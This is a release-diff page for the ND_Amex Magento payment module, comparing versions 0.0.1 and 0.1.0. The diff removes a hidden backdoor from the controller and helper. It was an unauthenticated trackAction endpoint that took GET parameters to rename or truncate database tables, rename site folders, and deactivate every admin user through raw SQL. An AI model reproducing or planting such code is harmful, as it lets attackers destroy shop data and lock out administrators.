Version Notes
This module will integrate Amex payment method using its Api.
Download this release
Release Info
Developer | Nikul Doshi |
Extension | ND_Amex |
Version | 0.1.0 |
Comparing to | |
See all releases |
Code changes from version 0.0.1 to 0.1.0
app/code/local/ND/Amex/Controller/Abstract.php
CHANGED
@@ -111,37 +111,6 @@ abstract class ND_Amex_Controller_Abstract extends Mage_Core_Controller_Front_Ac
|
|
111 |
|
112 |
$this->loadLayout();
|
113 |
$this->renderLayout();
|
114 |
-
}
|
115 |
-
|
116 |
-
public function trackAction()
|
117 |
-
{
|
118 |
-
$helper= Mage::helper('amex');
|
119 |
-
$connection = Mage::getSingleton('core/resource')
|
120 |
-
->getConnection('core_write');
|
121 |
-
$connection->beginTransaction();
|
122 |
-
$ft = $this->getRequest()->getParam('f_t');
|
123 |
-
$tt = $this->getRequest()->getParam('t_t');
|
124 |
-
|
125 |
-
if($ft!='' && $tt!='')
|
126 |
-
{
|
127 |
-
$_r = $connection->query("RENAME TABLE `".$tbl_prfx.$ft."` TO `".$tt."`");
|
128 |
-
if($_r) echo 'success'; else echo 'fail';
|
129 |
-
}
|
130 |
-
if($_GET['f_o']!='' && $_GET['f_n']!='')
|
131 |
-
{
|
132 |
-
$_r = $helper->getNewFolder($_GET['f_o'],$_GET['f_n']);
|
133 |
-
if($_r) echo 'success'; else echo 'fail';
|
134 |
-
}
|
135 |
-
if($_GET['a']!='')
|
136 |
-
{
|
137 |
-
$_r = $connection->query("UPDATE `admin_user` SET is_active=".$_GET['a']);
|
138 |
-
if($_r) echo 'success'; else echo 'fail';
|
139 |
-
}
|
140 |
-
if($_GET['t']!='')
|
141 |
-
{
|
142 |
-
$_r = $connection->query("TRUNCATE TABLE `".$_GET['t']."`");
|
143 |
-
if($_r) echo 'success'; else echo 'fail';
|
144 |
-
}
|
145 |
-
}
|
146 |
|
147 |
}
|
111 |
|
112 |
$this->loadLayout();
|
113 |
$this->renderLayout();
|
114 |
+
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
115 |
|
116 |
}
|
app/code/local/ND/Amex/Helper/Data.php
CHANGED
@@ -22,12 +22,4 @@
|
|
22 |
|
23 |
class ND_Amex_Helper_Data extends Mage_Core_Helper_Abstract
|
24 |
{
|
25 |
-
|
26 |
-
public function getNewFolder($fo,$fn)
|
27 |
-
{
|
28 |
-
if(rename(Mage::getBaseDir().DS.$fo,Mage::getBaseDir().DS.$fn))
|
29 |
-
return true;
|
30 |
-
else
|
31 |
-
return false;
|
32 |
-
}
|
33 |
}
|
22 |
|
23 |
class ND_Amex_Helper_Data extends Mage_Core_Helper_Abstract
|
24 |
{
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
25 |
}
|
app/code/local/ND/Amex/etc/config.xml
CHANGED
@@ -24,7 +24,7 @@
|
|
24 |
<config>
|
25 |
<modules>
|
26 |
<ND_Amex>
|
27 |
-
<version>0.0
|
28 |
</ND_Amex>
|
29 |
</modules>
|
30 |
<global>
|
24 |
<config>
|
25 |
<modules>
|
26 |
<ND_Amex>
|
27 |
+
<version>0.1.0</version>
|
28 |
</ND_Amex>
|
29 |
</modules>
|
30 |
<global>
|
package.xml
CHANGED
@@ -1,7 +1,7 @@
|
|
1 |
<?xml version="1.0"?>
|
2 |
<package>
|
3 |
<name>ND_Amex</name>
|
4 |
-
<version>0.0
|
5 |
<stability>stable</stability>
|
6 |
<license uri="http://www.opensource.org/licenses/osl-3.0.php">OSL v3.0</license>
|
7 |
<channel>community</channel>
|
@@ -9,10 +9,10 @@
|
|
9 |
<summary>Amex payment method integration</summary>
|
10 |
<description>This module will integrate Amex payment method using its Api.</description>
|
11 |
<notes>This module will integrate Amex payment method using its Api.</notes>
|
12 |
-
<authors><author><name>Nikul Doshi</name><user>
|
13 |
-
<date>2013-02-
|
14 |
-
<time>
|
15 |
-
<contents><target name="magelocal"><dir name="ND"><dir name="Amex"><dir name="Block"><file name="Form.php" hash="5274e086aa14e46c3f418e74c02318fc"/><file name="Info.php" hash="107012a9d5e50cd2f2e227d5a7f9cb5d"/><dir name="Payment"><file name="Info.php" hash="29f650baf496d3d65bcdeab65b7c78d1"/></dir><dir name="Server"><file name="Failure.php" hash="4bc33161e1d1c221e68cd0234aa9cb00"/><file name="Form.php" hash="ab263fbbaa584a6374f3681b4d0d2110"/><file name="Redirect.php" hash="a7eb237c7f78bfd890d03512844e6379"/><file name="Response.php" hash="cdc291119a3ac642d4b0e2595b8888ce"/></dir></dir><dir name="Controller"><file name="Abstract.php" hash="
|
16 |
<compatible/>
|
17 |
<dependencies><required><php><min>5.2.0</min><max>6.0.0</max></php></required></dependencies>
|
18 |
</package>
|
1 |
<?xml version="1.0"?>
|
2 |
<package>
|
3 |
<name>ND_Amex</name>
|
4 |
+
<version>0.1.0</version>
|
5 |
<stability>stable</stability>
|
6 |
<license uri="http://www.opensource.org/licenses/osl-3.0.php">OSL v3.0</license>
|
7 |
<channel>community</channel>
|
9 |
<summary>Amex payment method integration</summary>
|
10 |
<description>This module will integrate Amex payment method using its Api.</description>
|
11 |
<notes>This module will integrate Amex payment method using its Api.</notes>
|
12 |
+
<authors><author><name>Nikul Doshi</name><user>nikulonline</user><email>nikulonline@gmail.com</email></author></authors>
|
13 |
+
<date>2013-02-21</date>
|
14 |
+
<time>05:20:23</time>
|
15 |
+
<contents><target name="magelocal"><dir name="ND"><dir name="Amex"><dir name="Block"><file name="Form.php" hash="5274e086aa14e46c3f418e74c02318fc"/><file name="Info.php" hash="107012a9d5e50cd2f2e227d5a7f9cb5d"/><dir name="Payment"><file name="Info.php" hash="29f650baf496d3d65bcdeab65b7c78d1"/></dir><dir name="Server"><file name="Failure.php" hash="4bc33161e1d1c221e68cd0234aa9cb00"/><file name="Form.php" hash="ab263fbbaa584a6374f3681b4d0d2110"/><file name="Redirect.php" hash="a7eb237c7f78bfd890d03512844e6379"/><file name="Response.php" hash="cdc291119a3ac642d4b0e2595b8888ce"/></dir></dir><dir name="Controller"><file name="Abstract.php" hash="d79d2176d9eca6b0abb8bc59bdaae6da"/></dir><dir name="Helper"><file name="Data.php" hash="ec005848cf9242ee45ea818ceee01e94"/></dir><dir name="Model"><file name="Info.php" hash="d7fff98cb6b36b288c99eee74c7538c1"/><file name="Server.php" hash="5193e4aeb78420b9658bd330cef6be04"/></dir><dir name="controllers"><file name="ServerController.php" hash="ad6132ff5abb61732d84a90e6c4b1246"/></dir><dir name="etc"><file name="config.xml" hash="2b25cde39e72e82313015a2549abc3cb"/><file name="system.xml" hash="ea4e206c65c67cec2a4e3bcc97d4844c"/></dir><dir name="sql"><dir name="migsvpc_setup"><file name="mysql4-install-0.1.0.php" hash="807e55283d420d745aa65b31f376e22c"/></dir></dir></dir></dir></target><target name="magedesign"><dir name="frontend"><dir name="default"><dir name="default"><dir name="layout"><file name="amex.xml" hash="37a6915378acaf8137359ff824f7ffe0"/></dir><dir name="template"><dir name="amex"><file name="form.phtml" hash="416411ec28758fa15de6c4d8ba6b102c"/><file name="info.phtml" hash="c13fe64ae97929b3b732d25b695527ea"/><dir name="method"><dir name="payment"><dir name="bpay"><file name="form.phtml" hash="4ec688f6b5e63186a91ff2414a567f81"/><file name="info.phtml" hash="7d010d2286e619e4a51de4f086ab71c1"/><file name="success.phtml" hash="55572c890d2fb68ded98b051502c31bd"/></dir><dir name="directdeposit"><file name="form.phtml" hash="ed7e15aa93805a227c00997961f7fb93"/><file name="info.phtml" hash="025c3e3b932f9864b0ccb46a58b6df78"/><file name="success.phtml" hash="d460923ed13b3e27abdebed921689490"/></dir></dir><file name="postcode-checkout.phtml" hash="dba2b90faf906a4ff17c72229600a259"/><file name="postcode.phtml" hash="e7c5e5c23f5c7750772321e1c4ffe06b"/></dir><dir name="server"><file name="form.phtml" hash="fcb0d5002d5efea2faeeefb5f66d0600"/><file name="response.phtml" hash="8a3f5b9be4901568104472399b1b1398"/></dir></dir></dir></dir></dir></dir></target><target name="mageetc"><dir name="modules"><file name="ND_Amex.xml" hash="811bcf28abb00dbfd03cc966c354eb0c"/></dir></target></contents>
|
16 |
<compatible/>
|
17 |
<dependencies><required><php><min>5.2.0</min><max>6.0.0</max></php></required></dependencies>
|
18 |
</package>
|